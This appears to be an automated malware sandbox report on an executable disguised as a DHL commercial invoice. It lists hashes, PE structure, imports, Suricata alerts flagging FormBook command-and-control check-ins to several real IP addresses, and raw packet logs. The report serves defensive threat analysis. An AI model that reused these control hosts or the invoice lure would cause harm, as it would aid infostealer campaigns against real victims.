SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.512397038766242
TrID:	Win32 Executable (generic) a (10002005/4) 95.11% AutoIt3 compiled script executable (510682/80) 4.86% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe
File size:	1'328'571 bytes
MD5:	30a602421054f724c5a6ccb17a430b86
SHA1:	f0cfd0f4e6d1bdcd057873a3c1f4b491edaaeda1
SHA256:	d272470ee367abac8ea8c6570c4d3d0c88d6103958204b8669b43e33dac7e00e
SHA512:	9e295ba2e46e7eac14a451c3d5cb2f606884eae48c1a09141a2a052d9d499fee814b027e3e41cb8ee0246cfe65a6a53149c3f8b7c3a301e237e8af5511c96abb
SSDEEP:	24576:ffmMv6Ckr7Mny5QLm/wUsDcOrNRglFRM4lAEd61psmrx:f3v+7/5QLcsDcw8lD9yvpskx
TLSH:	3255F112F7D680B2DDA33971297BE32BEB3575194337C48BA7E02E768E211409B36761
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......-...i...i...i.....9.k...`.:.w...`.,.....`.+.P...N%..c...N%..H...i...d...`. ./...w.:.k...w.;.h...i.8.h...`.>.h...Richi..........

File Icon


Icon Hash:	1733312925935517

Static PE Info

General

Entrypoint:	0x416310
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x4B93CF87 [Sun Mar 7 16:08:39 2010 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	aaaa8913c89c8aa4a5d93f06853894da

Entrypoint Preview

Instruction
call 00007F39545618BCh
jmp 00007F395455568Eh
int3
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
push edi
push esi
mov esi, dword ptr [ebp+0Ch]
mov ecx, dword ptr [ebp+10h]
mov edi, dword ptr [ebp+08h]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe 00007F395455581Ah
cmp edi, eax
jc 00007F39545559BAh
cmp ecx, 00000100h
jc 00007F3954555831h
cmp dword ptr [004A94E0h], 00000000h
je 00007F3954555828h
push edi
push esi
and edi, 0Fh
and esi, 0Fh
cmp edi, esi
pop esi
pop edi
jne 00007F395455581Ah
pop esi
pop edi
pop ebp
jmp 00007F3954555C7Ah
test edi, 00000003h
jne 00007F3954555827h
shr ecx, 02h
and edx, 03h
cmp ecx, 08h
jc 00007F395455583Ch
rep movsd
jmp dword ptr [00416494h+edx*4]
nop
mov eax, edi
mov edx, 00000003h
sub ecx, 04h
jc 00007F395455581Eh
and eax, 03h
add ecx, eax
jmp dword ptr [004163A8h+eax*4]
jmp dword ptr [004164A4h+ecx*4]
nop
jmp dword ptr [00416428h+ecx*4]
nop
mov eax, E4004163h
arpl word ptr [ecx+00h], ax
or byte ptr [ecx+eax*2+00h], ah
and edx, ecx
mov al, byte ptr [esi]
mov byte ptr [edi], al
mov al, byte ptr [esi+01h]
mov byte ptr [edi+01h], al
mov al, byte ptr [esi+02h]
shr ecx, 02h
mov byte ptr [edi+02h], al
add esi, 03h
add edi, 03h
cmp ecx, 08h
jc 00007F39545557DEh

Rich Headers

Programming Language:

[ASM] VS2008 SP1 build 30729
[ C ] VS2008 SP1 build 30729
[C++] VS2008 SP1 build 30729
[ C ] VS2005 build 50727
[IMP] VS2005 build 50727
[ASM] VS2008 build 21022
[RES] VS2008 build 21022
[LNK] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8cd3c	0x154	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xab000	0x9298	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x82000	0x840	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x80017	0x80200	6c20c6bf686768b6f134f5bd508171bc	False	0.5602991615853659	data	6.634688230255595	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x82000	0xd95c	0xda00	f979966509a93083729d23cdfd2a6f2d	False	0.36256450688073394	data	4.880040824124099	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x90000	0x1a518	0x6800	e5d77411f751d28c6eee48a743606795	False	0.1600060096153846	data	2.2017649896261107	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xab000	0x9298	0x9400	f6be76de0ef2c68f397158bf01bdef3e	False	0.4896801097972973	data	5.530303089784181	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xab5c8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	Great Britain	0.3277027027027027
RT_ICON	0xab6f0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.7466216216216216
RT_ICON	0xab818	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0xab940	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	Great Britain	0.48109756097560974
RT_ICON	0xabfa8	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	Great Britain	0.5672043010752689
RT_ICON	0xac290	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	Great Britain	0.6418918918918919
RT_ICON	0xac3b8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	Great Britain	0.7044243070362474
RT_ICON	0xad260	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	Great Britain	0.8077617328519856
RT_ICON	0xadb08	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	Great Britain	0.5903179190751445
RT_ICON	0xae070	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	Great Britain	0.5503112033195021
RT_ICON	0xb0618	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	Great Britain	0.6050656660412758
RT_ICON	0xb16c0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	Great Britain	0.7553191489361702
RT_MENU	0xb1b28	0x50	data	English	Great Britain	0.9
RT_DIALOG	0xb1b78	0xfc	data	English	Great Britain	0.6507936507936508
RT_STRING	0xb1c78	0x530	data	English	Great Britain	0.33960843373493976
RT_STRING	0xb21a8	0x690	data	English	Great Britain	0.26964285714285713
RT_STRING	0xb2838	0x43a	data	English	Great Britain	0.3733826247689464
RT_STRING	0xb2c78	0x5fc	data	English	Great Britain	0.3087467362924282
RT_STRING	0xb3278	0x65c	data	English	Great Britain	0.34336609336609336
RT_STRING	0xb38d8	0x388	data	English	Great Britain	0.377212389380531
RT_STRING	0xb3c60	0x158	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	United States	0.502906976744186
RT_GROUP_ICON	0xb3db8	0x84	data	English	Great Britain	0.6439393939393939
RT_GROUP_ICON	0xb3e40	0x14	data	English	Great Britain	1.15
RT_GROUP_ICON	0xb3e58	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0xb3e70	0x14	data	English	Great Britain	1.25
RT_VERSION	0xb3e88	0x19c	data	English	Great Britain	0.5339805825242718
RT_MANIFEST	0xb4028	0x26c	ASCII text, with CRLF line terminators	English	United States	0.5145161290322581

Imports

DLL	Import
WSOCK32.dll	__WSAFDIsSet, setsockopt, ntohs, recvfrom, sendto, htons, select, listen, WSAStartup, bind, closesocket, connect, socket, send, WSACleanup, ioctlsocket, accept, WSAGetLastError, inet_addr, gethostbyname, gethostname, recv
VERSION.dll	VerQueryValueW, GetFileVersionInfoW, GetFileVersionInfoSizeW
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
COMCTL32.dll	ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, ImageList_ReplaceIcon, ImageList_Create, InitCommonControlsEx, ImageList_Destroy
MPR.dll	WNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W, WNetUseConnectionW
WININET.dll	InternetReadFile, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetConnectW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetQueryOptionW, InternetQueryDataAvailable
PSAPI.DLL	EnumProcesses, GetModuleBaseNameW, GetProcessMemoryInfo, EnumProcessModules
USERENV.dll	CreateEnvironmentBlock, DestroyEnvironmentBlock, UnloadUserProfile, LoadUserProfileW
KERNEL32.dll	HeapAlloc, Sleep, GetCurrentThreadId, RaiseException, MulDiv, GetVersionExW, GetSystemInfo, MultiByteToWideChar, WideCharToMultiByte, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, FindClose, DeleteFileW, FindNextFileW, lstrcmpiW, MoveFileW, CopyFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, GetProcessHeap, OutputDebugStringW, GetLocalTime, CompareStringW, CompareStringA, InterlockedIncrement, InterlockedDecrement, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionAndSpinCount, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, GetTempPathW, GetTempFileNameW, VirtualFree, FormatMessageW, GetExitCodeProcess, SetErrorMode, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, DeviceIoControl, SetFileAttributesW, GetShortPathNameW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetComputerNameW, GetWindowsDirectoryW, GetSystemDirectoryW, GetCurrentProcessId, GetCurrentThread, GetProcessIoCounters, CreateProcessW, SetPriorityClass, LoadLibraryW, VirtualAlloc, LoadLibraryExW, HeapFree, WaitForSingleObject, CreateThread, DuplicateHandle, GetLastError, CloseHandle, GetCurrentProcess, GetProcAddress, LoadLibraryA, FreeLibrary, GetModuleFileNameW, GetFullPathNameW, ExitProcess, ExitThread, GetSystemTimeAsFileTime, SetCurrentDirectoryW, IsDebuggerPresent, GetCurrentDirectoryW, ResumeThread, GetStartupInfoW, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, SetLastError, HeapSize, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetModuleFileNameA, HeapReAlloc, HeapCreate, SetHandleCount, GetFileType, GetStartupInfoA, SetStdHandle, GetConsoleCP, GetConsoleMode, LCMapStringW, LCMapStringA, RtlUnwind, SetFilePointer, GetTimeZoneInformation, GetTimeFormatA, GetDateFormatA, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineW, GetTickCount, GetStringTypeA, GetStringTypeW, GetLocaleInfoA, GetModuleHandleA, WriteConsoleA, GetConsoleOutputCP, WriteConsoleW, CreateFileA, SetEndOfFile, EnumResourceNamesW, SetEnvironmentVariableA
USER32.dll	SetWindowPos, GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, ReleaseCapture, SetCapture, WindowFromPoint, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, CheckMenuRadioItem, CopyImage, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, SystemParametersInfoW, PeekMessageW, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowThreadProcessId, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetClassNameW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, GetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, MessageBoxW, DefWindowProcW, MoveWindow, AdjustWindowRectEx, SetRect, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, DispatchMessageW, GetMenuItemID, TranslateMessage, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, UnregisterHotKey, CharLowerBuffW, MonitorFromRect, keybd_event, LoadImageW, GetWindowLongW
GDI32.dll	DeleteObject, GetObjectW, GetTextExtentPoint32W, ExtCreatePen, StrokeAndFillPath, StrokePath, EndPath, SetPixel, CloseFigure, CreateCompatibleBitmap, CreateCompatibleDC, SelectObject, StretchBlt, GetDIBits, LineTo, AngleArc, MoveToEx, Ellipse, PolyDraw, BeginPath, Rectangle, GetDeviceCaps, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, SetTextColor, CreateFontW, GetTextFaceW, GetStockObject, CreateDCW, GetPixel, DeleteDC, SetViewportOrgEx
COMDLG32.dll	GetSaveFileNameW, GetOpenFileNameW
ADVAPI32.dll	RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegSetValueExW, RegCreateKeyExW, GetUserNameW, RegConnectRegistryW, RegEnumKeyExW, CloseServiceHandle, UnlockServiceDatabase, LockServiceDatabase, OpenSCManagerW, InitiateSystemShutdownExW, AdjustTokenPrivileges, RegCloseKey, RegQueryValueExW, RegOpenKeyExW, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, InitializeSecurityDescriptor, InitializeAcl, GetLengthSid, SetSecurityDescriptorDacl, CopySid, LogonUserW, GetTokenInformation, GetAclInformation, GetAce, AddAce, GetSecurityDescriptorDacl
SHELL32.dll	DragQueryPoint, ShellExecuteExW, SHGetFolderPathW, DragQueryFileW, SHEmptyRecycleBinW, SHBrowseForFolderW, SHFileOperationW, SHGetPathFromIDListW, SHGetDesktopFolder, SHGetMalloc, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
ole32.dll	OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoInitialize, CoUninitialize, CoCreateInstance, CreateStreamOnHGlobal, CoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, StringFromCLSID, IIDFromString, StringFromIID, OleInitialize, CreateBindCtx, CLSIDFromProgID, CoInitializeSecurity, CoCreateInstanceEx, CoSetProxyBlanket, OleUninitialize
OLEAUT32.dll	SafeArrayAllocData, SafeArrayAllocDescriptorEx, SysAllocString, OleLoadPicture, SafeArrayGetVartype, SafeArrayDestroyData, SafeArrayAccessData, VarR8FromDec, VariantTimeToSystemTime, VariantClear, VariantCopy, VariantInit, SafeArrayDestroyDescriptor, LoadRegTypeLib, GetActiveObject, SafeArrayUnaccessData

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-29T10:01:07.326464+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	60420	3.33.130.190	80	TCP
2024-10-29T10:01:07.326464+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	60419	3.33.130.190	80	TCP
2024-10-29T10:01:07.326464+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	60414	84.32.84.32	80	TCP
2024-10-29T10:01:07.326464+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	60429	3.33.130.190	80	TCP
2024-10-29T10:01:58.888973+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	60294	154.204.174.144	80	TCP
2024-10-29T10:02:14.968974+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	60384	3.33.130.190	80	TCP
2024-10-29T10:02:17.526076+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	60390	3.33.130.190	80	TCP
2024-10-29T10:02:20.084092+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	60397	3.33.130.190	80	TCP
2024-10-29T10:02:22.618164+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	60398	3.33.130.190	80	TCP
2024-10-29T10:02:28.383309+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	60399	3.33.130.190	80	TCP
2024-10-29T10:02:31.717310+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	60400	3.33.130.190	80	TCP
2024-10-29T10:02:33.401174+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	60401	3.33.130.190	80	TCP
2024-10-29T10:02:37.012507+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	60402	3.33.130.190	80	TCP
2024-10-29T10:02:42.860191+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	60403	199.59.243.227	80	TCP
2024-10-29T10:02:45.600521+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	60404	199.59.243.227	80	TCP
2024-10-29T10:02:48.395084+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	60405	199.59.243.227	80	TCP
2024-10-29T10:02:50.842517+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	60406	199.59.243.227	80	TCP
2024-10-29T10:03:05.560989+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	60407	43.155.76.124	80	TCP
2024-10-29T10:03:08.139013+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	60408	43.155.76.124	80	TCP
2024-10-29T10:03:10.857719+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	60409	43.155.76.124	80	TCP
2024-10-29T10:03:13.295466+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	60410	43.155.76.124	80	TCP
2024-10-29T10:03:19.340690+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	60411	84.32.84.32	80	TCP
2024-10-29T10:03:21.880708+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	60412	84.32.84.32	80	TCP
2024-10-29T10:03:24.528847+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	60413	84.32.84.32	80	TCP
2024-10-29T10:03:32.139064+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	60415	217.160.0.93	80	TCP
2024-10-29T10:03:34.983260+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	60416	217.160.0.93	80	TCP
2024-10-29T10:03:37.217224+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	60417	217.160.0.93	80	TCP
2024-10-29T10:03:37.217224+0100	2856318	ETPRO MALWARE FormBook CnC Checkin (POST) M4	1	192.168.2.5	60417	217.160.0.93	80	TCP
2024-10-29T10:03:39.896172+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	60418	217.160.0.93	80	TCP
2024-10-29T10:03:51.607933+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	60421	3.33.130.190	80	TCP
2024-10-29T10:03:53.264704+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	60422	3.33.130.190	80	TCP
2024-10-29T10:03:59.034516+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	60423	209.74.64.189	80	TCP
2024-10-29T10:04:01.613558+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	60424	209.74.64.189	80	TCP
2024-10-29T10:04:04.309168+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	60425	209.74.64.189	80	TCP
2024-10-29T10:04:06.848168+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	60426	209.74.64.189	80	TCP
2024-10-29T10:04:13.482926+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	60427	3.33.130.190	80	TCP
2024-10-29T10:04:16.032834+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	60428	3.33.130.190	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 29, 2024 10:01:57.859220982 CET	60294	80	192.168.2.5	154.204.174.144
Oct 29, 2024 10:01:57.864911079 CET	80	60294	154.204.174.144	192.168.2.5
Oct 29, 2024 10:01:57.865139961 CET	60294	80	192.168.2.5	154.204.174.144
Oct 29, 2024 10:01:57.872644901 CET	60294	80	192.168.2.5	154.204.174.144
Oct 29, 2024 10:01:57.878248930 CET	80	60294	154.204.174.144	192.168.2.5
Oct 29, 2024 10:01:58.837855101 CET	80	60294	154.204.174.144	192.168.2.5
Oct 29, 2024 10:01:58.888972998 CET	60294	80	192.168.2.5	154.204.174.144
Oct 29, 2024 10:01:59.023505926 CET	80	60294	154.204.174.144	192.168.2.5
Oct 29, 2024 10:01:59.023715973 CET	60294	80	192.168.2.5	154.204.174.144
Oct 29, 2024 10:01:59.025152922 CET	60294	80	192.168.2.5	154.204.174.144
Oct 29, 2024 10:01:59.030582905 CET	80	60294	154.204.174.144	192.168.2.5
Oct 29, 2024 10:02:14.345958948 CET	60384	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:02:14.351540089 CET	80	60384	3.33.130.190	192.168.2.5
Oct 29, 2024 10:02:14.351632118 CET	60384	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:02:14.362066984 CET	60384	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:02:14.367501020 CET	80	60384	3.33.130.190	192.168.2.5
Oct 29, 2024 10:02:14.968913078 CET	80	60384	3.33.130.190	192.168.2.5
Oct 29, 2024 10:02:14.968974113 CET	60384	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:02:15.873501062 CET	60384	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:02:16.185858011 CET	60384	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:02:16.232331991 CET	80	60384	3.33.130.190	192.168.2.5
Oct 29, 2024 10:02:16.232347012 CET	80	60384	3.33.130.190	192.168.2.5
Oct 29, 2024 10:02:16.232426882 CET	60384	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:02:16.892112970 CET	60390	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:02:16.897875071 CET	80	60390	3.33.130.190	192.168.2.5
Oct 29, 2024 10:02:16.897957087 CET	60390	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:02:16.908471107 CET	60390	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:02:16.913989067 CET	80	60390	3.33.130.190	192.168.2.5
Oct 29, 2024 10:02:17.525934935 CET	80	60390	3.33.130.190	192.168.2.5
Oct 29, 2024 10:02:17.526076078 CET	60390	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:02:18.420391083 CET	60390	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:02:18.426054001 CET	80	60390	3.33.130.190	192.168.2.5
Oct 29, 2024 10:02:19.439054012 CET	60397	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:02:19.444618940 CET	80	60397	3.33.130.190	192.168.2.5
Oct 29, 2024 10:02:19.444756031 CET	60397	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:02:19.454982042 CET	60397	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:02:19.460588932 CET	80	60397	3.33.130.190	192.168.2.5
Oct 29, 2024 10:02:19.460602999 CET	80	60397	3.33.130.190	192.168.2.5
Oct 29, 2024 10:02:20.084017038 CET	80	60397	3.33.130.190	192.168.2.5
Oct 29, 2024 10:02:20.084091902 CET	60397	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:02:20.967240095 CET	60397	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:02:20.972737074 CET	80	60397	3.33.130.190	192.168.2.5
Oct 29, 2024 10:02:21.986035109 CET	60398	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:02:21.991481066 CET	80	60398	3.33.130.190	192.168.2.5
Oct 29, 2024 10:02:21.991624117 CET	60398	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:02:21.998780966 CET	60398	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:02:22.004920959 CET	80	60398	3.33.130.190	192.168.2.5
Oct 29, 2024 10:02:22.617650032 CET	80	60398	3.33.130.190	192.168.2.5
Oct 29, 2024 10:02:22.618056059 CET	80	60398	3.33.130.190	192.168.2.5
Oct 29, 2024 10:02:22.618164062 CET	60398	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:02:22.620587111 CET	60398	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:02:22.626899004 CET	80	60398	3.33.130.190	192.168.2.5
Oct 29, 2024 10:02:27.644330978 CET	60399	80	192.168.2.5	3.33.130.190
Oct 29, 2024 10:02:27.649765968 CET	80	60399	3.33.130.190	192.168.2.5
